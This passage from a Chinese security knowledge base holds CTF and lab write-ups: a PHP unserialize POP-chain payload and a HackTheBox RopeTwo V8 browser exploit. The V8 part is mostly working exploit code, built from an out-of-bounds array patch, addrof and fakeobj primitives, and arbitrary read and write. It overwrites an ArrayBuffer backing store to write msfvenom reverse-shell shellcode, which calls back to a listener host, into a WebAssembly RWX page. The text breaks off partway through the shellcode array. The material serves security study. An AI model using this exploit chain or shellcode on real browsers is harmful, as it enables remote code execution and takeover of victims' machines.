writeup:

``` bash
根据一层一层的关系写入来构造payload的代码,POP链构造：

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new Call();
        }
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
            $this->mod1 = new funct();
    }
    public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new func();
        }
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
        	$this->mod1=new string1();
        }
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        }
}
class string1
{
        public $str1;
        public $str2;
        public function __construct()
        {
        	$this->str1=new GetFlag();
        }
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$a = new start_gg();
echo serialize($a);
?>
```

payload and flag:

``` bash
O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}


SYNCTF{mlaALQ_KMjmajsd}
```

<!-- kb:end unserialize -->

</details>




# V8 类型推断与任意读写原语

两个实验分别来自 35C3 与 RopeTwo 的 V8 环境。本章把类型信息、数组布局、指针压缩和后备存储连接起来，保留编译提交、调试器状态与原始 JavaScript。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/v8/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Math.expm1 题的关键是优化阶段对类型和边界的错误推断。

RopeTwo 的补丁与指针压缩影响 map、对象地址和任意读写的表达方式。

文中的地址、布局与 JIT 行为对应各自原版本，相关独立引擎研究见导读。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [指针压缩下的 addrof 与 fakeobj](#case-chrome-browserv8-pwn) | chrome-browserv8-pwn | V8、指针压缩、任意读写 |
| [负零类型推断与越界原语](#case-exploiting-the-math-expm1-typing-bug-in-v8) | Exploiting-the-Math-expm1-typing-bug-in-V8 | V8、JIT、类型混淆、越界访问 |

<a id="case-chrome-browserv8-pwn"></a>

## 指针压缩下的 addrof 与 fakeobj

以 RopeTwo 的补丁版 V8 为对象，保留编译提交、数组 map、指针压缩、任意读写及 ArrayBuffer 后备存储的调试关系。

<p class="kb-provenance">来源 chrome-browserv8-pwn · 原记录 2021-01-23 · 41 个代码块 · 7 处图片引用</p>

<details class="kb-evidence" id="record-chrome-browserv8-pwn">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start chrome-browserv8-pwn -->

#### 摘要

V8是由Google开发的著名浏览器Chrome的JavaScript引擎。

此篇文章专门记录hack the box - ropetwo机器中的chrome浏览器v8引擎的pwn部分。



#### step1-环境搭建及工具安装

在开始实验之前，先把所有环境准备好，本人实验环境是在ubuntu 16.04.1 amd64位的vm虚拟机下进行的。

1. 安装google的depot_tools

``` bash
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

echo "export PATH=/home/pwn/tools/depot_tools:$PATH" >> ~/.bashrc

bash
```

2. 安装gdb和gdb功能增强插件gef

``` bash
apt-get install gdb
```

 - [GEF github](https://github.com/hugsy/gef)

``` bash
# 手动安装并导入gdb初始化文件
$ wget -O ~/.gdbinit-gef.py -q http://gef.blah.cat/py
$ echo source ~/.gdbinit-gef.py >> ~/.gdbinit
```

3. fetch google v8引擎

<font color="red">fetch之前，请想办法解决让整个ubuntu系统的流量全部走代理，不然会fetch失败</font>

 - fetch之前先运行以下的命令，初始化gclient工具集，使gclient工具集保持完整，没有这一步，之后的fetch v8一定会失败报错。。。

``` bash
gclient
```

接着下载V8的代码以及生成项目文件。fetch v8刚开始的时候会有很长一段时间卡住不动，只是没有输出而已，只要没有报错，就是在正常运行，耐心等待就好了。

``` bash
# 下载v8的repo和必要依赖
fetch v8
cd v8
./build/install-build-deps.sh
```

至此所有环境已搭建完毕，之后会介绍编译v8源码成d8的debug和release的版本便于调试, x64.release和x64.debug这两个文件夹中都有一个数据库二进制文件。debug版本将在REPL中提供更多信息，但它不允许在不崩溃(支持fuzzing)的情况下进行越限的读/写，所以在开始时使用release版本。

#### step2

连接openvpn到rope2的ip地址，然后下载如下commit的diff文件

``` bash
http://10.10.10.196:5000/root/v8/commit/7410f6809dd33e317f11f39ceaebaba9a88ea970
```

点击Options的Plain Diff即可下载.diff文件

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb164.jpg)

然后到如下链接，点击Download下载具有漏洞的chrome浏览器

``` bash
http://10.10.10.196:8000/
```

然后拷贝r4j之前的一个commit备用

``` bash
http://gitlab.rope2.htb:5000/root/v8/commits/master
```

``` bash
d91e8d8fca64679c8df05603b5ff7e58709c4801
```

#### step3-编译有漏洞的v8源码

``` bash
$ git checkout d91e8d8fca64679c8df05603b5ff7e58709c4801
$ gclient sync
$ git apply ../patch.diff 
$ ./tools/dev/v8gen.py x64.release
$ ninja -C ./out.gn/x64.release
$ ./tools/dev/v8gen.py x64.debug
$ ninja -C ./out.gn/x64.debug
```

#### step4-开始分析调试

唯一的障碍会偶然发现在这个挑战是指针压缩,这使得在32位地址表示,导致泄漏很难取得成功, 因为隔离root, 上一个地址的32位值用于访问数据在V8堆成了一个问题。但是提到了不需要知道隔离root地址，如果能够设法处理漏洞，得到fakeobj和addrof原语，那么就可以通过指针压缩，这将不会是一个问题。

首先，需要分析补丁文件，这样就能发现哪些提交了特别的推送更改，并将其准确地推送到:

``` bash
root@luci:~/v8build/rope2# cat patch.diff 
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 3c2fe33c5b4b330c509d2926bc1e30daa1e09dba..99f0271e035220cd7228e8f9d8959e3b248a6cb5 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -297,6 +297,34 @@ BUILTIN(ArrayPrototypeFill) {
   return GenericArrayFill(isolate, receiver, value, start_index, end_index);
 }
 
+BUILTIN(ArrayGetLastElement)
+{
+	Handle<JSReceiver> receiver;
+	ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, receiver, Object::ToObject(isolate, args.receiver()));
+	Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+	uint32_t len = static_cast<uint32_t>(array->length().Number());
+	FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+	return *(isolate->factory()->NewNumber(elements.get_scalar(len)));
+}
+
+BUILTIN(ArraySetLastElement)
+{
+	Handle<JSReceiver> receiver;
+	ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, receiver, Object::ToObject(isolate, args.receiver()));
+	int arg_count = args.length();
+	if (arg_count != 2) // first value is always this
+	{
+		return ReadOnlyRoots(isolate).undefined_value();
+	}
+	Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+	uint32_t len = static_cast<uint32_t>(array->length().Number());
+	Handle<Object> value;
+	ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, value, Object::ToNumber(isolate, args.atOrUndefined(isolate,1)));
+	FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+	elements.set(len,value->Number());
+	return ReadOnlyRoots(isolate).undefined_value();
+}
+
 namespace {
 V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
                                               BuiltinArguments* args) {
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 92a430aa2c0cbc3d65fdf2f1f4f295824379dbd8..02982b1c858eb313befcb8ad9e396dcdfbf2f9ab 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -319,6 +319,8 @@ namespace internal {
   TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel)                          \
   /* ES6 #sec-array.prototype.push */                                          \
   CPP(ArrayPush)                                                               \
+  CPP(ArrayGetLastElement)                                                     \
+  CPP(ArraySetLastElement)                                                     \
   TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel)                         \
   /* ES6 #sec-array.prototype.shift */                                         \
   CPP(ArrayShift)                                                              \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 6d53531f1cbf9b6669c6b98ea8779e8133babe8d..5db31e9b733cdaa1dd2049b72b7fb6392ea4a1ab 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1706,6 +1706,11 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
     // Array functions.
     case Builtins::kArrayIsArray:
       return Type::Boolean();
+    case Builtins::kArrayGetLastElement:
+      return Type::Receiver();
+    case Builtins::kArraySetLastElement:
+      return Type::Receiver();
+
     case Builtins::kArrayConcat:
       return Type::Receiver();
     case Builtins::kArrayEvery:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 7fd1e40f661461fdbcf9228c5ce9127c3428dc7b..3a9b97e4b6426e101ca0cdc97ce1cc92aa689968 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1660,6 +1660,10 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeLastIndexOf, 1, false);
     SimpleInstallFunction(isolate_, proto, "pop", Builtins::kArrayPrototypePop,
                           0, false);
+    SimpleInstallFunction(isolate_, proto, "GetLastElement", Builtins::kArrayGetLastElement,
+                          0, false);
+    SimpleInstallFunction(isolate_, proto, "SetLastElement", Builtins::kArraySetLastElement,
+                          0, false);
     SimpleInstallFunction(isolate_, proto, "push",
                           Builtins::kArrayPrototypePush, 1, false);
     SimpleInstallFunction(isolate_, proto, "reverse",
```

这里的/src/builtins/builtins-array.c用来表示添加了一些新函数，这里提到了以下两个添加的函数是ArrayGetLastElement和ArraySetLastElement，逐个分解它们:

 - ArrayGetLastElement顾名思义,它从数组中最后一个元素,首先计算长度的变量len返回元素存储为len指数,现在i = f注意这里,这里的len是绝对长度的数组,因为数组索引从0开始,要访问第0个元素，使用数组[0]，但在这里，因为元素存储在数组中，在len索引处的值因此允许对1个元素进行越界读取。

 - ArraySetLastElement正如名字所说,这个内置函数保存价值的最后索引数组,现在这里,前面的函数,len是计算数组的长度,然后将覆盖指数,定义的元素数组元素(指数)=。是的，在这里也有越界的写，但是只写了一个元素。

所以，如上所述，知道有两个函数，使用，以利用这个特定的二进制补丁，并最终chrome浏览器。

因为这也是一篇非常详细的博客文章，所以将先理解这些概念，然后再继续讨论。

由于JavaScript是一种动态类型语言，引擎必须将类型信息与每个运行时值一起存储。在v8中，这是通过指针标记和专用类型信息对象(称为映射)的结合来实现的。这些映射用于跟踪在运行时创建的对象，因为这是对象的处理方式，覆盖映射会导致V8引擎内部的一些类型混淆。

到目前为止，你可能在想究竟如何访问map，最重要的是“如何识别map?”，为此使用了调试版本的d8二进制文件。与allow-natives-syntax将二进制运行时允许您使用

``` bash
%DebugPrint(<object>)
```

将打印对象的相关信息,比方说,例如,声明的数组元素,然后使用%DebugPrint (arr)获得所有关于一个对象的信息包括但不限于:

 - map的地址
 - 元素的指针
 - 类型信息等

``` bash
root@luci:~/v8build/v8/out.gn/x64.debug# gdb ./d8
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
79 commands loaded for GDB 7.11.1 using Python engine 3.5
[*] 1 command could not be loaded, run `gef missing` to know why.
Reading symbols from ./d8...done.
gef➤  r --allow-natives-syntax
Starting program: /root/v8build/v8/out.gn/x64.debug/d8 --allow-natives-syntax
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff260f700 (LWP 6077)]
[New Thread 0x7ffff1e0e700 (LWP 6078)]
[New Thread 0x7ffff160d700 (LWP 6079)]
V8 version 8.5.0 (candidate)
d8> var arr = [1.1, 2.2, 3.3];
undefined
d8> %DebugPrint(arr)
DebugPrint: 0x1201080c5e45: [JSArray]
 - map: 0x120108281909 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x12010824923d <JSArray[0]>
 - elements: 0x1201080c5e25 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 - properties: 0x1201080406e9 <FixedArray[0]> {
    #length: 0x1201081c0165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x1201080c5e25 <FixedDoubleArray[3]> {
           0: 1.1
           1: 2.2
           2: 3.3
 }
0x120108281909: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x1201082818e1 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x1201081c0451 <Cell value= 1>
 - instance descriptors #1: 0x120108249911 <DescriptorArray[1]>
 - transitions #1: 0x12010824995d <TransitionArray[4]>Transition array #1:
     0x120108042f3d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x120108281931 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x12010824923d <JSArray[0]>
 - constructor: 0x120108249111 <JSFunction Array (sfi = 0x1201081cc41d)>
 - dependent code: 0x1201080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

[1.1, 2.2, 3.3]
```

分解,现在有arr位于0x1201080c5e45 JSArray类型的,它的map位于0x120108281909,除此之外,根据这些信息,它有一个map的PACKED_DOUBLE_ELEMENTS arr引用有两类型的元素。元素指针位于0x1201080c5e25，长度为3，类型为FixedDoubleArray。现在，使用gdb检查arr周围的内存内容。

 - 为了检查地址的内存内容，需要从地址中减去1，这样就得到了用于分析的绝对地址。

``` bash
gef➤  x/4wx 0x1201080c5e45 - 1
0x1201080c5e44:	0x08281909 <----- Map 0x080406e9 <---- Properties 0x080c5e25 <----- Element Array 0x00000006
```

从调试信息(使用%DebugPrint(arr))和gdb输出中，可以看到第一个元素属于数组本身的映射，第二个属于属性，第三个属于元素数组。如果你注意,使用了x/wx地址显示为32位表示,这里是,提交的版本的V8引擎集成后指针压缩,使1是地址的32位整数。

``` bash
gef➤  x/5xg 0x1201080c5e25 - 1
0x1201080c5e24:	0x0000000608040a3d	0x3ff199999999999a
0x1201080c5e34:	0x400199999999999a	0x400a666666666666
0x1201080c5e44:	0x080406e908281909
gef➤  p/d 0x3ff199999999999a
$2 = 4607632778762754458
gef➤  p/f 0x3ff199999999999a
$3 = 1.1000000000000001
gef➤  p/f 0x400199999999999a
$4 = 2.2000000000000002
```

现在，因为知道了一个数组是如何表示到V8堆中的，也知道有一个读写漏洞，得出结论，有能力覆盖对象的映射。记住这一点，继续:

首先，需要使实用函数能够处理指针标记并将浮点值更改为小数，反之亦然。下面的JavaScript函数将完成上述工作:

``` bash
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val, size) {

    f64_buf[0] = val;

    if(size == 32) {
        return BigInt(u64_buf[0]);
    } else if(size == 64) {
        return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
    }

}

function itof(val, size) {

    if(size == 32) {
        u64_buf[0] = Number(val & 0xffffffffn);
    } else if(size == 64) {
        u64_buf[0] = Number(val & 0xffffffffn);
        u64_buf[1] = Number(val >> 32n);
    }

    return f64_buf[0];

}
```

上述函数用于将浮点数转换为整数，将整数转换为浮点数，因为内存地址将被它们所尊重的值覆盖为浮点数，所以需要它们。

继续，需要创建一些浮点数组，为了获得所需的泄漏，还需要它们来执行fakeobj和addrof原语，废话不多说，开始:

``` bash
var float_arr = [1.1, 2.2, 3.3, 4.4, 5.5];
var obj = {"A":1.1};
var reg = [1, 2, 3, 4];
```

这些变量将进一步涉及到利用，接下来，需要得到addrof原语，这意味着需要利用off来读取对象的地址，看看:

``` bash
var float_arr_map = ftoi(float_arr.GetLastElement(), 32)
var reg_arr_map = float_arr_map - 0xa0n;

console.log("[*] Float array map   :  0x" + float_arr_map.toString(16));
console.log("[*] Regular array map :  0x" + reg_arr_map.toString(16));


function addrof(in_obj) {
    float_arr.SetLastElement(itof(reg_arr_map, 32));
    float_arr[0] = in_obj;
    float_arr.SetLastElement(itof(float_arr_map, 32));
    let addr = float_arr[0];
    return ftoi(addr, 64)
}
```

这里,首先得到float_arr的map地址和reg数组,然后有一个函数叫做addrof,这需要一个对象将对象地址需要的地址作为参数,要做的是首先用reg数组覆盖float_arr映射的map对象,这意味着,到目前为止,float_arr指向的地址映射reg数组,然后使float_arr的对象需要的地址作为第一个对象,然后将float_arr的映射放回到它原来的位置。

考虑到，有一个map泄漏，如果试图读取存储在该地址的内容，它将导致:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb165.jpg)

随着v8 利用的进行，需要一个fakeobj原语。fakeobj函数如下:

``` bash
function fakeobj(addr) {
    float_arr[0] = itof(addr, 32);
    float_arr.SetLastElement(itof(reg_arr_map, 32));
    let fake = float_arr[0];
    float_arr.SetLastElement(itof(float_arr_map, 32));
    return fake;
}
```

来谈谈fakeobj函数,这种原始的,在这个漏洞和特定的上下文中,把假的对象的地址,想把它放置到float_arr的第一个元素,然后改变了float_arr map到reg数组的map,所以往往从第0个索引来访问数据,其工作原理是:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb166.jpg)

 - 把想要覆盖另一个对象的对象地址覆盖
 - 将float_arr的映射设置为reg的映射
 - 从float_arr中获取假对象
 - 把float_arr的map放回原来的位置

这些原语是在进入读/写原语之前需要的，不过有了这些原语，现在可以处理函数arb_read和arb_write，这两个函数分别用于从一个地址的值中读地址或从一个地址的值中写地址。

继续，对任意读函数感兴趣，将尽力解释，目前，考虑下面的函数，它用于从任意地址读取值:

``` bash
var rw_helper = [itof(float_arr_map, 64), 1.1, 2.2, 3.3];
var rw_helper_addr = addrof(rw_helper) & 0xffffffffn;

console.log("[+] Controlled RW helper address: 0x" + rw_helper_addr.toString(16));

function arb_read(addr) {
    let fake = fakeobj(rw_helper_addr - 0x20n);
    rw_helper[1] = itof((0x8n << 32n) + addr - 0x8n, 64);
    return ftoi(fake[0], 64);
}
```

第一这个函数是通过fakeobj函数制造一个假的对象,然后把想读的地址,写rw_helper数组的第一个指数,然后第一个元素假的对象是错误的,这是函数的跟进,导致整个逻辑的理解，d8二进制解释步骤:

使用rw_helper的地址创建fakeobj，从中减去0x20，因为32个字节是用于内存布局的，在本例中，这样做是因为:

``` bash
root@luci:~/v8build/v8/out.gn/x64.release# gdb ./d8
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
79 commands loaded for GDB 7.11.1 using Python engine 3.5
[*] 1 command could not be loaded, run `gef missing` to know why.
Reading symbols from ./d8...(no debugging symbols found)...done.
gef➤  run --allow-natives-syntax --shell /root/v8build/rope2/xpl.js
Starting program: /root/v8build/v8/out.gn/x64.release/d8 --allow-natives-syntax --shell /root/v8build/rope2/xpl.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff66c4700 (LWP 9528)]
[New Thread 0x7ffff5ec3700 (LWP 9529)]
[New Thread 0x7ffff56c2700 (LWP 9530)]
[*] Float array map   :  0x8241909
[*] Regular array map :  0x8241869
[+] Controlled RW helper address: 0x8086b21
V8 version 8.5.0 (candidate)
d8> %DebugPrint(rw_helper);
0x06a908086b21 <JSArray[4]>
[6.7481182e-316, 1.1, 2.2, 3.3]
d8> ^C
gef➤  x/10xg 0x06a908086b21 - 1 - 0x30
0x6a908086af0:	0x0000393638313432	0x0000000808040a3d
0x6a908086b00:	0x0000000008241909	0x3ff199999999999a
0x6a908086b10:	0x400199999999999a	0x400a666666666666
0x6a908086b20:	0x080406e908241909	0x0000000808086af9
0x6a908086b30:	0x0000000208040975	0x0000000008241909
gef➤  x/10xg 0x06a908086b21 - 1 - 0x20
0x6a908086b00:	0x0000000008241909	0x3ff199999999999a
0x6a908086b10:	0x400199999999999a	0x400a666666666666
0x6a908086b20:	0x080406e908241909	0x0000000808086af9
0x6a908086b30:	0x0000000208040975	0x0000000008241909
0x6a908086b40:	0x0000000008040975	0x0000000008040245
gef➤  p 0x06a908086b21 - 0x20
$2 = 0x6a908086b01
gef➤  p 0x06a908086b21 - 0x20 - 1
$3 = 0x6a908086b00

如果在地址‘0x6a908086b00’处放置一个假对象，就能够访问索引1，也就是‘0x6a908086b10’。这样，生成的假对象将指向想要的地址的值。
```

对于write函数，它的工作原理与read函数相同:

``` bash
function arb_write(addr, value) {
    let fake = fakeobj(rw_helper_addr - 0x20n);
    rw_helper[1] = itof((0x8n << 32n) + addr - 0x8n, 64);
    fake[0] = itof(value, 64);
}
```

如果把逻辑分解:

 - 如果与arb_read的函数相比，它将覆盖存储在第一个下标处的值，而不是返回假数组的第一个值，这是伪造对象的结果。

``` bash
return ftoi(fake[0], 64);
```

以上来自arb_read。

``` bash
fake[0] = itof(value, 64);
```

这是通过覆盖其它返回值读取函数,从这里利用下去,所说的在[WebAssembly Page in JS](https://developer.mozilla.org/en-US/docs/WebAssembly),所以一开始,不能用经典的使用pwn挑战的方法使用system __free_hook覆盖,然后生成一个shell,在基于v8的挑战, 主要是CTFs,这是通过创建一个wasm函数来完成的，它将导致在程序的内存布局中创建一个rwx权限页，从这里的方法如下:

 - 找到rwx段地址，计算它的地址。
 - 将shellcode写入rwx段的区域。
 - 调用前面创建的wasm函数，因为shellcode将写入该函数，调用它最终将导致shellcode执行。

``` bash
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,
                               130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,
                               128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,
                               128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,
                               0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,0,11]);
var wasm_module = new WebAssembly.Module(wasmCode);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;
```

这是用于创建rwx部分的pwn函数的JS代码，这一步先放在一边，继续:

``` bash
var wasm_instance_addr = addrof(wasm_instance) & 0xffffffffn;
var rwx = arb_read(wasm_instance_addr + 0x68n & 0xffffffffn);
```

首先,需要找到rwx段的基地址,这是很容易找到的,要做的是找到的地址正是位于存储到内存和抵消,使用gef的

``` bash
search-pattern rwx_address
```

发现内存的引用位于抵消wasm_instance_addr + 0x68:

``` bash
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x000015fc5408a000 0x000015fc5408b000 0x0000000000000000 rwx 
0x0000190900000000 0x000019090000c000 0x0000000000000000 rw- 
0x000019090000c000 0x0000190900040000 0x0000000000000000 --- 
0x0000190900040000 0x0000190900041000 0x0000000000000000 rw- 
0x0000190900041000 0x0000190900042000 0x0000000000000000 --- 
0x0000190900042000 0x0000190900052000 0x0000000000000000 r-x 
0x0000190900052000 0x000019090007f000 0x0000000000000000 ---

[..snip..]

gef➤  search-pattern 0x000015fc5408a000
[+] Searching '\x00\xa0\x08\x54\xfc\x15\x00\x00' in memory
[+] In (0x190908080000-0x19090818d000), permission=rw-
  0x1909080874e0 - 0x190908087500  →   "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]" 
  0x19090808752c - 0x19090808754c  →   "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]" 
[+] In (0x190908200000-0x190908280000), permission=rw-
  0x190908211178 - 0x190908211198  →   "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]" 
[+] In '[heap]'(0x55555648d000-0x55555658b000), permission=rw-
  0x5555564dddc8 - 0x5555564ddde8  →   "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]" 
  0x5555564de2c8 - 0x5555564de2e8  →   "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]" 
  0x5555564de3a0 - 0x5555564de3c0  →   "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]" 
  0x5555564de4c0 - 0x5555564de4e0  →   "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]" 
  0x5555564de510 - 0x5555564de530  →   "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]" 
  0x5555565775e0 - 0x555556577600  →   "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]" 
[+] In (0x7fffe8000000-0x7fffe8023000), permission=rw-
  0x7fffe8000970 - 0x7fffe8000990  →   "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]" 
[+] In (0x7ffff0000000-0x7ffff0023000), permission=rw-
  0x7ffff0006d90 - 0x7ffff0006db0  →   "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]" 
[+] In (0x7ffff56c4000-0x7ffff5ec4000), permission=rw-
  0x7ffff5ec2820 - 0x7ffff5ec2840  →   "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]" 
[+] In (0x7ffff5ec5000-0x7ffff70c9000), permission=rw-
  0x7ffff66c3820 - 0x7ffff66c3840  →   "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]" 
  0x7ffff66c38a0 - 0x7ffff66c38c0  →   "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]"
gef➤  p 0x0000190900000000 + 0x82111c9
$2 = 0x1909082111c9
gef➤  p 0x190908211178 - 0x1909082111c9
$3 = 0xffffffffffffffaf
```

解决上面的问题，需要知道如何使用DataView和ArrayBuffer，因为这将帮助用所需的值覆盖地址，简而言之，这两个函数允许使用ArrayBuffer以二进制格式写入数据。

``` bash
console.log("[+] Wasm instance address: 0x" + wasm_instance_addr.toString(16));

console.log("[*] RWX INSTANCE:   0x" + rwx.toString(16));


var arr_buf = new ArrayBuffer(0x100);
var dataview = new DataView(arr_buf);
```

ArrayBuffer的后备存储可以看作是JSArray的元素指针。它可以在offset &ArrayBuffer+0x14找到，可以通过使用d8二进制文件的x64.debug版本找到它。其原理是，不使用fakeobj直接写入任意地址，而是使用fakeobj执行arb-write操作，并修改合法ArrayBuffer的后备存储到任意地址，在本例中，该后备存储将被rwx段覆盖。现在，可以使用dataview.setBigUint64(0, val, true)将val作为64位小端值写入任意地址。如下所示:

 - 使用msfvenom生成shellcode并放入以下的js代码中

``` bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.177.128 LPORT=4222 -f num

0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x0f, 0x05, 0x48, 0x97, 0x48, 
0xb9, 0x02, 0x00, 0x10, 0x7e, 0xc0, 0xa8, 0xb1, 0x80, 0x51, 0x48, 0x89, 0xe6, 0x6a, 0x10, 
0x5a, 0x6a, 0x2a, 0x58, 0x0f, 0x05, 0x6a, 0x03, 0x5e, 0x48, 0xff, 0xce, 0x6a, 0x21, 0x58, 
0x0f, 0x05, 0x75, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 
0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
```

``` bash
var arr_buf_addr = addrof(arr_buf) & 0xffffffffn;;
var back_store_addr = arb_read(arr_buf_addr + 0x14n);

console.log("[+] ArrayBuffer address: 0x" + arr_buf_addr.toString(16));
console.log("[+] Back store pointer: 0x" + back_store_addr.toString(16));

arb_write(arr_buf_addr + 0x14n, rwx);

var shellcode = [
    0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x0f, 0x05, 0x48, 0x97, 0x48, 
    0xb9, 0x02, 0x00, 0x10, 0x7e, 0xc0, 0xa8, 0xb1, 0x80, 0x51, 0x48, 0x89, 0xe6, 0x6a, 0x10, 
    0x5a, 0x6a, 0x2a, 0x58, 0x0f, 0x05, 0x6a, 0x03, 0x5e, 0x48, 0xff, 0xce, 0x6a, 0x21, 0x58, 
